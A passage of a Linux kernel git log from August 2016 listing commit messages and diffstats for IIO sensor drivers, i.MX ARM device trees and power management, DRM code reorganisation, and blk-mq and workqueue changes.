Jonathan Cameron drivers/iio/magnetometer/ak8974.c | 1 - 1 file changed, 1 deletion(-) commit 5bc55ef31f710326f541e6a3c726526815dd48e6 Author: Arnd Bergmann Date: Fri Aug 26 17:31:19 2016 +0200 iio: magn/ak8974: avoid unused function warning The ak8974_configure() function is used only from the PM code, but that can be hidden when CONFIG_PM is disabled: drivers/iio/magnetometer/ak8974.c:201:12: error: 'ak8974_configure' defined but not used [-Werror=unused-function] This replaces the #ifdef with a __maybe_unused annotation, which will work correctly in all configurations and avoid the warning, as the compiler can now see where ak8974_configure is called from. Signed-off-by: Arnd Bergmann Fixes: 7c94a8b2ee8c ("iio: magn: add a driver for AK8974") Signed-off-by: Jonathan Cameron drivers/iio/magnetometer/ak8974.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 2e1f44d8a7724e889f1a4f211aad13320cb80f1f Author: Arnd Bergmann Date: Fri Aug 26 17:29:35 2016 +0200 iio: hid-sensors: avoid unused function warning A small rework of the PM code in this driver introduced a harmless warning when CONFIG_PM_SLEEP is not set: drivers/iio/common/hid-sensors/hid-sensor-trigger.c:212:12: error: 'hid_sensor_resume' defined but not used [-Werror=unused-function] This removes the #ifdef and instead marks all three PM functions as __maybe_unused, which covers all possible cases and is harder to get wrong. Signed-off-by: Arnd Bergmann Fixes: 7f6cf7414538 ("iio: hid-sensors: use asynchronous resume") Signed-off-by: Jonathan Cameron drivers/iio/common/hid-sensors/hid-sensor-trigger.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 943bbe743ce4c2846c41812186411841b0c9d7a1 Author: Wei Yongjun Date: Fri Aug 26 14:31:50 2016 +0000 iio: adc: ti-ads1015: add missing of_node_put() in ads1015_get_channels_config_of() When terminating for_each_child_of_node() iteration with break or return, of_node_put() should be used to prevent stale device node references from being left behind. This is detected by Coccinelle semantic patch. Signed-off-by: Wei Yongjun Signed-off-by: Jonathan Cameron drivers/iio/adc/ti-ads1015.c | 2 ++ 1 file changed, 2 insertions(+) commit 16335bcbf920d9903778d942ec5e579b25984b4b Author: Wei Yongjun Date: Fri Aug 26 14:33:20 2016 +0000 iio: temperature: fix non static symbol warnings Fixes the following sparse warnings: drivers/iio/temperature/maxim_thermocouple.c:35:28: warning: symbol 'max6675_channels' was not declared. Should it be static? drivers/iio/temperature/maxim_thermocouple.c:52:28: warning: symbol 'max31855_channels' was not declared. Should it be static? drivers/iio/temperature/maxim_thermocouple.c:98:38: warning: symbol 'maxim_thermocouple_chips' was not declared. Should it be static? Signed-off-by: Wei Yongjun Reviewed-By: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/temperature/maxim_thermocouple.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit aeb55fff3891834e07a3144159a7298a19696af8 Author: Linus Walleij Date: Fri Aug 26 00:10:08 2016 +0200 iio: st_sensors: fetch and enable regulators unconditionally These sensors all have Vdd and Vdd_IO lines. This means the supplies are *not* optional (optional means that the supply is optional in the electrical sense, not the software sense) so we need to get the and enable them at all times. If the device tree or board file does not define suitable regulators for the component, it will be substituted by a dummy regulator, or, if regulators are disabled altogether, by stubs. There is no need to use the IS_ERR_OR_NULL() check that is considered harmful. Cc: Giuseppe Barba Cc: Denis Ciocca Cc: Crestez Dan Leonard Cc: Gregor Boirie Cc: Mark Brown Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/common/st_sensors/st_sensors_core.c | 55 +++++++++++-------------- 1 file changed, 24 insertions(+), 31 deletions(-) commit 8138dabbab269d9d6ba2ffa17aad03aff22cfdb6 Author: Wei Jiangang Date: Wed Aug 17 14:37:05 2016 +0800 vfio/pci: Fix typos in comments Signed-off-by: Wei Jiangang Signed-off-by: Alex Williamson drivers/vfio/pci/vfio_pci_config.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit fa62e10d2613b9e9edbe944b890644b30e9d4ed7 Author: Linus Walleij Date: Sat Aug 27 14:01:19 2016 +0200 clk: versatile/icst: support for AP baseboard clocks This adds support for the two ICST525-based clocks on the Integrator/AP baseboard, as documented in the board manual "Integrator/AP ASIC Development Motherboard", ARM DUI0098 B, pages 3-15 thru 3-18. Cc: Russell King Signed-off-by: Linus Walleij [sboyd@codeaurora.org: fixed uninitialized val warning] Signed-off-by: Stephen Boyd drivers/clk/versatile/clk-icst.c | 136 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 136 insertions(+) commit 7f270bc9a2d95967c09e759776a28a8d2a345c74 Author: Gwenhael Goavec-Merou Date: Wed Aug 24 16:44:20 2016 +0200 iio: dac: AD8801: add Analog Devices AD8801/AD8803 support Add support for Analog Devices AD8801/AD8803, 8 channels 8bits, Digital to Analog converters. Signed-off-by: Gwenhael Goavec-Merou Signed-off-by: Jonathan Cameron drivers/iio/dac/Kconfig | 10 ++ drivers/iio/dac/Makefile | 1 + drivers/iio/dac/ad8801.c | 239 +++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 250 insertions(+) commit 9d1894cd197e297c9ced5393fde6416324b7706d Author: Matt Ranostay Date: Wed Aug 24 23:44:49 2016 -0700 iio: chemical: vz89x: prevent corrupted buffer from being read Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/chemical/vz89x.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 0a735aa07f2eb5bcb04fb022b463c70cd1cf1399 Author: Matt Ranostay Date: Wed Aug 24 23:44:48 2016 -0700 iio: chemical: vz89x: add support for VZ89TE part Add support the VZ89TE variant which removes the voc_short channel, and has CRC check for data transactions. Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/chemical/vz89x.c | 113 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 98 insertions(+), 15 deletions(-) commit 8376882f167be87aa44acc105020417532ac3c51 Author: Matt Ranostay Date: Wed Aug 24 23:44:47 2016 -0700 iio: chemical: vz89x: abstract chip configuration Abstract chip configuration data to allow supporting multiple variants of the VZ89 chemical sensor line. Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/chemical/vz89x.c | 80 ++++++++++++++++++++++++++++++++++---------- 1 file changed, 62 insertions(+), 18 deletions(-) commit 8c9e7b1bf42af845f83350e5141fbc4181dc7f98 Author: Alison Schofield Date: Wed Aug 24 22:48:43 2016 -0700 iio: adc: ltc2485: add support for Linear Technology LTC2485 ADC Adds basic support for the LTC2485 ADC - a delta-sigma analog-to-digital converter with an I2C interface that operates in single shot conversion mode. The driver supports an on board 5V reference and the power-on default configuration which rejects both 50hz & 60hz line frequencies and operates in 1x speed mode. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/adc/Kconfig | 9 +++ drivers/iio/adc/Makefile | 1 + drivers/iio/adc/ltc2485.c | 148 ++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 158 insertions(+) commit a5211b0d061644b48c80cfa1303413e79ace781e Author: Clifton Barnes Date: Mon Aug 22 22:45:05 2016 -0400 staging: iio: accel: sca3000: remove extra space fix checkpatch.pl warning about 'Statements should start on a tabstop' Signed-off-by: Clifton Barnes Signed-off-by: Jonathan Cameron drivers/staging/iio/accel/sca3000_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6356f1b9b7e3ccd24bec93c7ed4e226464f44774 Author: Matt Ranostay Date: Mon Aug 22 15:19:37 2016 -0700 iio: iio-utils: use channel modifier scaling if it exists Now there are channel modifiers with their own scaling those should be used when possible over the generic channel type scaling. Examples are of IIO_TEMP channel having a generic scaling value, and another having IIO_MOD_TEMP_AMBIENT modifier with another scaling value. Previously the first scaling value for a channel type would be applied to all channels of like type in iio_generic_buffer Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron tools/iio/iio_utils.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 0f39c504cd97661068c3ec1014d3cf440bdeec8a Author: Anson Huang Date: Mon Aug 29 22:25:43 2016 +0800 ARM: dts: imx6ul iomuxc syscon is compatible to imx6q The imx6ul iomuxc syscon is compatible to imx6q, so let's add compatible string 'fsl,imx6q-iomuxc-gpr' for imx6ul iomuxc syscon node. Signed-off-by: Anson Huang Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6ul.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9d47964bfd471f0dd4c89f28556aec68bffa0020 Author: Colin Ian King Date: Mon Jul 25 23:40:01 2016 +0100 iio: ad5755: fix off-by-one on devnr limit check The comparison for devnr limits is off-by-one, the current check allows 0 to AD5755_NUM_CHANNELS and the limit should be in fact 0 to AD5755_NUM_CHANNELS - 1. This can lead to an out of bounds write to pdata->dac[devnr]. Fix this by replacing > with >= on the comparison. Signed-off-by: Colin Ian King Fixes: c947459979c6 ("iio: ad5755: add support for dt bindings") Signed-off-by: Jonathan Cameron drivers/iio/dac/ad5755.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 547e8f526959ded88b93dbdbbb6c8549138fefa8 Author: Anson Huang Date: Mon Aug 29 23:41:12 2016 +0800 ARM: imx: add cpuidle support for i.mx6ul This patch enables cpuidle driver for i.MX6UL, it reuses i.MX6SX's cpuidle driver, 3 levels of cpuidle supported: 1. ARM WFI; 2. SOC in WAIT mode; 3. SOC in WAIT mode + ARM power off. As i.MX6UL has cortex-A7 CORE with an internal L2 cache, so flushing it before powering down ARM platform is necessary, flush_cache_all() in last step of cpu_suspend has very small overhead, just call it to avoid cache type check for different platforms. Signed-off-by: Anson Huang Signed-off-by: Shawn Guo arch/arm/mach-imx/cpuidle-imx6sx.c | 10 ++++++++++ arch/arm/mach-imx/mach-imx6ul.c | 3 +++ 2 files changed, 13 insertions(+) commit 6ae44aa651d0d82097cb5379be94e86beade9c7b Author: Anson Huang Date: Mon Aug 29 21:49:57 2016 +0800 ARM: imx: enable WAIT mode hardware workaround for imx6sx Need to enable INT_MEM_CLK_LPM bit in CCM_CGPR for WAIT mode, without this bit set, if there is pending interrupt during ARM platform entering WAIT mode without power gating, cache data will be corrupted, this is a hardware workaround for WAIT mode and must be enabled. Signed-off-by: Anson Huang Signed-off-by: Shawn Guo arch/arm/mach-imx/cpuidle-imx6sx.c | 1 + 1 file changed, 1 insertion(+) commit 8765caa5cb6054247832947119ea533b5d410d2b Author: Anson Huang Date: Mon Aug 29 21:49:56 2016 +0800 ARM: imx: rename imx6q_set_int_mem_clk_lpm() function Let's rename the function imx6q_set_int_mem_clk_lpm() to imx6_set_int_mem_clk_lpm() since it's actually common for all i.MX6 SoCs. Signed-off-by: Anson Huang Signed-off-by: Shawn Guo arch/arm/mach-imx/common.h | 2 +- arch/arm/mach-imx/cpuidle-imx6q.c | 2 +- arch/arm/mach-imx/pm-imx6.c | 8 ++++---- 3 files changed, 6 insertions(+), 6 deletions(-) commit c15d493cb636f331898f40c5c6989e9deee62b09 Author: Philipp Zabel Date: Mon Aug 29 11:13:27 2016 +0200 drm/imx: parallel-display: detach bridge or panel on unbind Don't leave any bridge or panel attached to a stale driver instance when unbinding, to allow reattachment on a rebind. Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/parallel-display.c | 5 +++++ 1 file changed, 5 insertions(+) commit 60203c90bfec627b619643523cbc17f0005964f7 Author: Philipp Zabel Date: Mon Aug 29 11:12:30 2016 +0200 drm/imx: imx-ldb: detach bridge on unbind Don't leave the bridge attached to a stale driver instance when unbinding, to allow reattachment on a rebind. Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-ldb.c | 2 ++ 1 file changed, 2 insertions(+) commit b1318d50a0dddda4f4facfedf757a5a328ddfd94 Author: Lucas Stach Date: Thu Jun 16 11:19:41 2016 +0200 drm/imx: imx-ldb: detach panel on unbind Make sure to leave a clean panel state behind and allow to properly attach to the panel again on a rebind. Signed-off-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-ldb.c | 3 +++ 1 file changed, 3 insertions(+) commit ac4708fab1422905870a1c286e69d784ddc7358c Author: Steve Longerbeam Date: Wed Aug 17 17:50:17 2016 -0700 gpu: ipu-v3: Add FSU channel linking support Adds functions to link and unlink source channels to sink channels in the FSU: int ipu_fsu_link(struct ipu_soc *ipu, int src_ch, int sink_ch); int ipu_fsu_unlink(struct ipu_soc *ipu, int src_ch, int sink_ch); The channels numbers are usually IDMAC channels, but they can also be channels that do not transfer data to or from memory. The following convenience functions can be used in place of ipu_fsu_link/unlink() when both source and sink channels are IDMAC channels: int ipu_idmac_link(struct ipuv3_channel *src, struct ipuv3_channel *sink); int ipu_idmac_unlink(struct ipuv3_channel *src, struct ipuv3_channel *sink); So far the following links are supported: IPUV3_CHANNEL_IC_PRP_ENC_MEM -> IPUV3_CHANNEL_MEM_ROT_ENC PUV3_CHANNEL_IC_PRP_VF_MEM -> IPUV3_CHANNEL_MEM_ROT_VF IPUV3_CHANNEL_IC_PP_MEM -> IPUV3_CHANNEL_MEM_ROT_PP IPUV3_CHANNEL_CSI_DIRECT -> IPUV3_CHANNEL_CSI_VDI_PREV More links can be added to the fsu_link_info[] array. Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-common.c | 131 ++++++++++++++++++++++++++++++++++++++++ drivers/gpu/ipu-v3/ipu-prv.h | 27 +++++++++ include/video/imx-ipu-v3.h | 13 ++++ 3 files changed, 171 insertions(+) commit 2d2ead4530771de0c5f2f7f0a7924deb045c4cce Author: Steve Longerbeam Date: Wed Aug 17 17:50:16 2016 -0700 gpu: ipu-v3: Add Video Deinterlacer unit Adds the Video Deinterlacer (VDIC) unit. Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/Makefile | 2 +- drivers/gpu/ipu-v3/ipu-common.c | 11 ++ drivers/gpu/ipu-v3/ipu-prv.h | 6 + drivers/gpu/ipu-v3/ipu-vdi.c | 243 ++++++++++++++++++++++++++++++++++++++++ include/video/imx-ipu-v3.h | 23 ++++ 5 files changed, 284 insertions(+), 1 deletion(-) commit d37bac434cb815303e48f1357c76fa020e64c649 Author: Javier Martinez Canillas Date: Mon Aug 29 12:12:04 2016 +0200 ARM: imx: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-kzm_arm11_01.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3dc3336bafb96dc96337cc3497381756b78dcc6a Author: Stefan Agner Date: Sun Aug 28 22:13:24 2016 -0700 ARM: dts: imx7-colibri: add Audio support Add audio support via on module I2S SGTL5000 codec. Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7-colibri.dtsi | 41 ++++++++++++++++++++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) commit 8e90193567c5776b63dc5f67ad02a294796e3c3d Author: Stefan Agner Date: Sun Aug 28 22:13:23 2016 -0700 ARM: dts: imx7-colibri: add basic supply regulators Colibri modules need to be powered using the power pins 3V3 and AVDD_AUDIO. Add fixed regulators which represent this power rails. Potentially, those power rails could be switched on a carrier board. A carrier board device tree could add a own regulator with a GPIO, and reference that regulator in a vin-supply property of those new module level system regulators. This also synchronize the name of the +3.3V regulator with the one used in the Colibri VF50/VF61 device tree. Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7-colibri.dtsi | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 987a2250aa39fe9ed58b1ee7dee9128a82a6d799 Author: Stefan Agner Date: Sun Aug 28 22:13:22 2016 -0700 ARM: dts: imx7-colibri: move SD-card to module level Move SD-card definition to module level. While at it, also disable write-protect since the Colibri standard does not define a pin for SD-Card write-protection. Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7-colibri-eval-v3.dtsi | 4 ---- arch/arm/boot/dts/imx7-colibri.dtsi | 8 ++++++++ 2 files changed, 8 insertions(+), 4 deletions(-) commit b2ab6f6cc3b1da42acf30e03ce2a4dad3f627272 Author: Fabio Estevam Date: Sun Aug 28 21:33:17 2016 -0300 ARM: imx_v6_v7_defconfig: Select the wm8960 codec driver Select CONFIG_SND_SOC_WM8960 so that we can have audio functional by default on imx6ul-evk and imx7-sdb boards. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/configs/imx_v6_v7_defconfig | 1 + 1 file changed, 1 insertion(+) commit 99e6b87ec2102b10e190c92ea9560bafcb744f86 Author: Baoyou Xie Date: Fri Aug 26 14:08:53 2016 +0800 mtip32xx: mark symbols static where possible We get 1 warning when biuld kernel with W=1: drivers/block/mtip32xx/mtip32xx.c:3689:6: warning: no previous prototype for 'mtip_block_release' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Jens Axboe drivers/block/mtip32xx/mtip32xx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 88c7b2b75132c3ff8180b71e4f06cf043a00eac8 Author: Jens Axboe Date: Thu Aug 25 08:07:30 2016 -0600 blk-mq: prefetch request in blk_mq_tag_to_rq() When drivers or the core calls this function, they usually dereference the request shortly there after. Prefetch the first cache line. Profiling IO workloads shows that this is the most common cache miss on the block side of things. Signed-off-by: Jens Axboe block/blk-mq.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 8d354f133e86dd03ea7885a91df398c55ff699ff Author: Jens Axboe Date: Thu Aug 25 08:00:28 2016 -0600 blk-mq: improve layout of blk_mq_hw_ctx Various cache line optimizations: - Move delay_work towards the end. It's huge, and we don't use it a lot (only SCSI). - Move the atomic state into the same cacheline as the the dispatch list and lock. - Rearrange a few members to pack it better. - Shrink the max-order for dispatch accounting from 10 to 7. This means that ->dispatched[] and ->run now take up their own cacheline. This shrinks struct blk_mq_hw_ctx down to 8 cachelines. Signed-off-by: Jens Axboe include/linux/blk-mq.h | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 27489a3c827b7eebba26eda0320bb0f100bef167 Author: Jens Axboe Date: Wed Aug 24 15:54:25 2016 -0600 blk-mq: turn hctx->run_work into a regular work struct We don't need the larger delayed work struct, since we always run it immediately. Signed-off-by: Jens Axboe block/blk-core.c | 2 +- block/blk-mq.c | 9 ++++----- include/linux/blk-mq.h | 2 +- 3 files changed, 6 insertions(+), 7 deletions(-) commit ee63cfa7fc197b63669623721b8009cce5b0659b Author: Jens Axboe Date: Wed Aug 24 15:52:48 2016 -0600 block: add kblockd_schedule_work_on() Add a helper to schedule a regular struct work on a particular CPU. Signed-off-by: Jens Axboe block/blk-core.c | 6 ++++++ include/linux/blkdev.h | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit f72b8792d180948b4b3898374998f5ac8c02e539 Author: Jens Axboe Date: Wed Aug 24 15:51:50 2016 -0600 workqueue: add cancel_work() Like cancel_delayed_work(), but for regular work. Signed-off-by: Jens Axboe Mehed-by: Tejun Heo Acked-by: Tejun Heo include/linux/workqueue.h | 1 + kernel/workqueue.c | 40 ++++++++++++++++++++++++++-------------- 2 files changed, 27 insertions(+), 14 deletions(-) commit 51c578efc3f0143f6e8433b32d3e12ac74f03fd6 Author: Marek Vasut Date: Fri Aug 26 16:22:54 2016 +0200 ARM: dts: imx6sx: Add GPU bindings Add bindings for the Vivante GC400T GPU found in the i.MX6SX. Signed-off-by: Marek Vasut Cc: Fabio Estevam Reviewed-by: Lucas Stach Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6sx.dtsi | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit c8458c7efd01f5748e9ca74720e366d3fcc5fa97 Author: Daniel Vetter Date: Mon Aug 29 10:27:57 2016 +0200 drm/doc: Polish docs for drm_property&drm_property_blob - remove kerneldoc for drm-internal functions - drm_property_replace_global_blob isn't actually atomic, and doesn't need to be. Update docs&comments to match - document all the types and try to link things a bit better - nits all over v2: Appease checkpatch in the moved code (Archit) Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-9-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 88 +----------------- drivers/gpu/drm/drm_property.c | 153 ++++++++++++-------------------- include/drm/drm_property.h | 196 ++++++++++++++++++++++++++++++++++++++--- 3 files changed, 244 insertions(+), 193 deletions(-) commit 77953bd136d2a70bca2dc93b3ccda07a2b37076f Author: Daniel Vetter Date: Mon Aug 29 10:27:56 2016 +0200 drm: Unify handling of blob and object properties They work exactly the same now, after the refcounting unification a bit ago. The only reason they're distinct is backwards compat with existing userspace. Cc: Daniel Stone Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-8-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_property.c | 23 +++++------------------ 1 file changed, 5 insertions(+), 18 deletions(-) commit 59e71ee746a37fe077b73cecf189de1d27efd6eb Author: Daniel Vetter Date: Mon Aug 29 10:27:55 2016 +0200 drm: Extract drm_property.[hc] This just contains the base property classes and all the code to handle blobs. I think for any kind of standardized/shared properties it's better to have separate files - this is fairly big already as-is. v2: resurrect misplaced hunk (Daniel Stone) Cc: Daniel Stone Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-7-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 9 + drivers/gpu/drm/Makefile | 2 +- drivers/gpu/drm/drm_crtc.c | 926 ----------------------------------- drivers/gpu/drm/drm_crtc_internal.h | 32 +- drivers/gpu/drm/drm_property.c | 953 ++++++++++++++++++++++++++++++++++++ include/drm/drm_crtc.h | 88 +--- include/drm/drm_property.h | 120 +++++ 7 files changed, 1102 insertions(+), 1028 deletions(-) commit ec5e304747241823435b160d3eabf1295c06d2e3 Author: Daniel Vetter Date: Mon Aug 29 10:27:54 2016 +0200 drm: move drm_mode_legacy_fb_format to drm_fourcc.c It's part of the drm fourcc handling code, mapping the old depth/bpp values to new fourcc codes. Cc: Laurent Pinchart Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-6-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_crtc.c | 43 ------------------------------------------- drivers/gpu/drm/drm_fourcc.c | 43 +++++++++++++++++++++++++++++++++++++++++++ include/drm/drm_crtc.h | 2 -- include/drm/drm_fourcc.h | 1 + 4 files changed, 44 insertions(+), 45 deletions(-) commit a2511a557eb868dc5fb28808ef58bd8af2e51f3b Author: Daniel Vetter Date: Mon Aug 29 10:27:53 2016 +0200 drm/doc: Polish docs for drm_mode_object I figured an overview section here is overkill, and better to just document the 2 structures themselves well enough. v2: Review from Archit: - Appease checkpatch in moved code. - Spelling fixes in the kerneldoc. Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-5-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_mode_object.c | 17 +++++++++---- include/drm/drm_mode_object.h | 50 ++++++++++++++++++++++++++++++++++++--- 2 files changed, 60 insertions(+), 7 deletions(-) commit f094d881954982b559e98e90aca1bf6f45141420 Author: Daniel Vetter Date: Mon Aug 29 10:27:52 2016 +0200 drm: Remove drm_mode_object->atomic_count It's only used in drm_mode_object_get_properties, and we can compute it there directly with a bit of code shuffling. Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-4-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_mode_object.c | 31 ++++++++++++------------------- include/drm/drm_mode_object.h | 2 +- 2 files changed, 13 insertions(+), 20 deletions(-) commit 949619f32eee37a6385de1e976523501c8256768 Author: Daniel Vetter Date: Mon Aug 29 10:27:51 2016 +0200 drm: Extract drm_mode_object.[hc] Just for the struct drm_mode_object base class. The header file was already partially extracted to help untangle the include loops. v2: - Also move the generic get/set property ioctls. At first this seemed like a bad idea since it requires making drm_mode_crtc_set_obj_prop non-static. But eventually that will get split away too (like the connector version already is) for both crtc and planes. Hence I reconsidered. - drm_mode_object.[hc] instead of drm_modeset.[hc], which requires renaming the drm_modeset.h header I already started building up. This is more consistent (matches the name of the main structure), and I want to be able to use drm_modeset.[hc] for the basic modeset init/cleanup functionality like drm_mode_config_init. Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-3-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 9 + drivers/gpu/drm/Makefile | 2 +- drivers/gpu/drm/drm_crtc.c | 413 +--------------------------------- drivers/gpu/drm/drm_crtc_internal.h | 52 +++-- drivers/gpu/drm/drm_mode_object.c | 435 ++++++++++++++++++++++++++++++++++++ include/drm/drm_connector.h | 2 +- include/drm/drm_crtc.h | 12 +- include/drm/drm_encoder.h | 2 +- include/drm/drm_framebuffer.h | 2 +- include/drm/drm_mode_object.h | 80 +++++++ include/drm/drm_modes.h | 2 +- include/drm/drm_modeset.h | 70 ------ 12 files changed, 562 insertions(+), 519 deletions(-) commit e03e6de03e931bd3d93b1e2a9dc7d0bf0b505287 Author: Daniel Vetter Date: Mon Aug 29 10:27:50 2016 +0200 drm/doc: Polish kerneldoc for encoders - Move missing bits into struct drm_encoder docs. - Explain that encoders are 95% internal and only 5% uapi, and that in general the uapi part is broken. - Remove verbose comments for functions not exposed to drivers. v2: Review from Archit: - Appease checkpatch in the moved code. - Make it clearer that bridges are not exposed to userspace. Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-2-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 46 ++++------------------------ drivers/gpu/drm/drm_encoder.c | 48 ++++++++++++++++++----------- include/drm/drm_encoder.h | 70 +++++++++++++++++++++++++++++++++++++++---- 3 files changed, 101 insertions(+), 63 deletions(-) commit 321a95ae35f2ec4f58c4cda28d3606cc6f2b97d1 Author: Daniel Vetter Date: Mon Aug 29 10:27:49 2016 +0200 drm: Extract drm_encoder.[hc] Same treatment as before. Only hiccup is drm_crtc_mask, which unfortunately can't be resolved until drm_crtc.h is less of a monster. Untangle the header loop with a forward declaration for that static inline. Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829082757.17913-1-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 9 ++ drivers/gpu/drm/Makefile | 3 +- drivers/gpu/drm/drm_crtc.c | 193 ------------------------------- drivers/gpu/drm/drm_crtc_internal.h | 10 +- drivers/gpu/drm/drm_encoder.c | 220 ++++++++++++++++++++++++++++++++++++ include/drm/drm_crtc.h | 134 +--------------------- include/drm/drm_encoder.h | 167 +++++++++++++++++++++++++++ 7 files changed, 407 insertions(+), 329 deletions(-) commit 1f70cb4045cba47287fed3ba98dadc7187f13ef8 Author: Rafał Miłecki Date: Fri Aug 26 16:19:36 2016 +0200 Documentation: move oneshot trigger attributes documentation to ABI Documentation of sysfs interface should be in ABI in the first place. This moves relevant part of documentation and mentions where to look for it. Fix trivial typos whilst we are at it. Signed-off-by: Rafał Miłecki Signed-off-by: Jacek Anaszewski Documentation/ABI/testing/sysfs-class-led | 3 +- .../ABI/testing/sysfs-class-led-trigger-oneshot | 36 ++++++++++++++++++++++ Documentation/leds/ledtrig-oneshot.txt | 20 ++---------- 3 files changed, 40 insertions(+), 19 deletions(-) commit 749cc6f7ed509e1be04e9c26d9cdc3c1f0dd13b4 Author: Arnd Bergmann Date: Mon Aug 29 14:34:07 2016 +0200 drm/fb-helper: don't call remove_conflicting_framebuffers for FB=m && DRM=y When CONFIG_DRM_KMS_FB_HELPER is disabled, we can have a configuration in which some DRM drivers are built-in, but the framebuffer core is a loadable module. This results in a link error, such as: drivers/gpu/drm/radeon/radeon.o: In function `radeon_pci_probe': radeon_kfd.c:(.text.radeon_pci_probe+0xbc): undefined reference to `remove_conflicting_framebuffers' drivers/gpu/drm/amd/amdgpu/amdgpu.o: In function `amdgpu_pci_probe': amdgpu_mn.c:(.text.amdgpu_pci_probe+0xa8): undefined reference to `remove_conflicting_framebuffers' drivers/gpu/drm/mgag200/mgag200.o: In function `mga_vram_init': mgag200_ttm.c:(.text.mga_vram_init+0xa8): undefined reference to `remove_conflicting_framebuffers' drivers/gpu/drm/mgag200/mgag200.o: In function `mga_pci_probe': mgag200_ttm.c:(.text.mga_pci_probe+0x88): undefined reference to `remove_conflicting_framebuffers' Makefile:969: recipe for target 'vmlinux' failed This changes the compile-time check to IS_REACHABLE, which means we end up not calling remove_conflicting_framebuffers() in the configuration, which seems good enough, as we know that no framebuffer driver is loaded by the time that the built-in DRM driver calls remove_conflicting_framebuffers. We could alternatively avoid the link error by forcing CONFIG_FB to not be a module in this case, but that wouldn't change anything at runtime, and just make the already convoluted set of dependencies worse here. I could not find out what happens if the fbdev driver gets loaded as a module after the DRM driver is already initialized, but that is a case that can happen with or without this patch. Signed-off-by: Arnd Bergmann Fixes: 0a3bfe29f816 ("drm/fb-helper: Fix the dummy remove_conflicting_framebuffers") Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160829123428.3260105-1-arnd@arndb.de Link: http://patchwork.freedesktop.org/patch/msgid/1472461923-14364-1-git-send-email-gnuiyl@gmail.com 